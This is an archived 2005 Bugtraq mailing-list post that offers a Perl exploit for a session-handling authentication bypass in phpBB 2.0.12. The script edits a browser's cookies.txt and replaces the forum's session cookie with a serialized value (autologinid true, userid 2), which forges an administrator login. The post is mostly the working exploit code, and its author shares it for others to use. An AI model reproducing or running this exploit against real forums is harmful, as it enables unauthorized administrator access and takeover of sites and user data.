bugtraq - phpBB 2.0.12 Session Handling Administrator Authentication Bypass Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Mon, 07 Mar 2005 10:37:19 -0700
From: <thephuket@...mac.com>
To: bugtraq@...urityfocus.com
Subject: phpBB 2.0.12 Session Handling Administrator Authentication Bypass
    Exploit


Just a simple Perl Script for this exploit. 
I hope it is usefull for some of you  


------------------------------------------------------------------------------------------------

#!/usr/bin/perl

#   phpBB 2.0.12 Session Handling Administrator Authentication
#   Bypass EXPLOIT
#   written by phuket
#
#   The discoverer of this bug is unknown, says "Paiserist" who wrote a C exploit
for this bug.
#     http://packetstormsecurity.org/0503-exploits/phpbbsession.c
#
#

#  I tested this code with Firefox on my linux box, I do not know if it works
with mozilla or on #windows
#  $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look at
cookies.txt for the name of the cookie

#  I wrote this exploit after reading "phpBB 2.0.12 Session Handling
Administrator Authentication #Bypass    -SIMPLIFIED-"  By PPC^Rebyte
#  and it is based on his code 
#
# Sorry for my bad english :/

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist')  ; # path to your
cookies.txt file 
@cookie= <FILE> ;
close FILE ;


$exploit =
"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
;

foreach $i (@cookie)
{
	if ($i=~/$url/) {
	
$i
=~s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22%3B%7D/$exploit/
; 
print "OK\n" ;
}
  
}

open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;

#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket
----------------------------------------------------------------------------------------------